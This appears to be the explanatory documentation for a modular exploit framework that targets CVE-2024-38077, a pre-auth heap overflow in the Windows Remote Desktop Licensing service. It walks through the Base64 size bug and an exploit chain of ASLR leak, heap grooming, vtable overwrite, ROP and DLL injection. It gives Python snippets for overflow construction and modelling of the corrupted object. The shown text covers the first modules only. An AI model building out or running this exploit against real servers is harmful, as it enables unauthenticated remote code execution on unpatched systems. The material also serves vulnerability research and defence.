Modular exploit framework for CVE-2024-38077 (Windows RDL heap overflow) with ASLR bypass, heap grooming, ROP chain generation, and DLL injection payloads for pre-auth remote code execution.
This document explains each component of the framework, why it exists, and how the heap buffer overflow exploitation works in modern Windows.
Windows Remote Desktop Licensing Service (lserver.exe) contains a heap buffer overflow in the CDataCoding::DecodeData function.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILITY: Incorrect size calculation │
├─────────────────────────────────────────────────────────────┤
│ 1. Client sends Base64 data of size N │
│ 2. Server calculates: buffer_size = (N / 4) * 3 │
│ 3. Server allocates buffer of 'buffer_size' bytes │
│ 4. Actual Base64 decode writes: ceil(N * 3/4) bytes │
│ 5. If N is not a multiple of 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Concrete example:
(4001 / 4) * 3 = 1000 * 3 = 3000 bytes allocatedceil(4001 * 0.75) = 3001 bytes written┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FoundationLow-level utilities for memory manipulation.
Exploits need to:
# Pack/Unpack - Convert integers to bytes and vice versa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Cyclic Pattern - To identify crash offset
cyclic(100) # Generates De Bruijn sequence
cyclic_find(pattern, value) # Finds offset of value
# Alignment - Memory must be aligned
align(0x1003, 0x10) # → 0x1010 (aligns to 16 bytes)
Real problem: You cause a crash and RIP contains 0x61616171.
cyclic_find(pattern, 0x61616171) → exact offset!leak.py - ASLR BypassAddress Space Layout Randomization: Every boot/execution, addresses change.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Without knowing where memory is:
class LeakInfo:
"""Container for leaked addresses"""
heap_base: int # Heap base
ntdll_base: int # ntdll.dll base
kernel32_base: int # kernel32.dll base
# ...
class LeakProvider:
"""Orchestrator for leak sources"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Try each source until successful
| Source | How It Works | When to Use |
|---|---|---|
ManualLeakSource | User provides addresses | Lab/Debug with target access |
ResponseLeakSource | Extracts from RPC responses | If service leaks pointers |
TimingLeakSource | Timing side-channel | Theoretical, very difficult |
In demos/labs, you can:
--ntdll-base 0x7ffa...This simulates having a real leak, allowing you to test the rest of the chain.
target_model.py - Target MappingModeling of vulnerable and adjacent data structures.
Overflow ≠ Exploitation. We need to know:
class VulnerableBuffer:
"""The buffer that will overflow"""
allocation_size: int # How much was allocated
write_size: int # How much will be written
overflow_amount: int # Difference = overflow
def calculate_overflow(input_size):
# Simulates the calculation bug
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Object that will be corrupted (adjacent on heap)"""
fields: List[StructField]
has_vtable: bool # Has virtual table?
has_function_ptr: bool # Has function pointer?
# Hypothetical object based on reverse engineering
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Mapped fields
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Marks fields useful for exploitation:
vtable: If we overwrite it, we control method callscallback: If we overwrite it, we control when callback is calledwrite_primitive.py - Controlled WriteOverflow writes sequential data. But we need:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Builds overflow buffer with precise values
Layout:
[PADDING until offset] [CONTROLLED VALUE] [MORE DATA]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Place exact value at exact offset
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# Overwrite vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)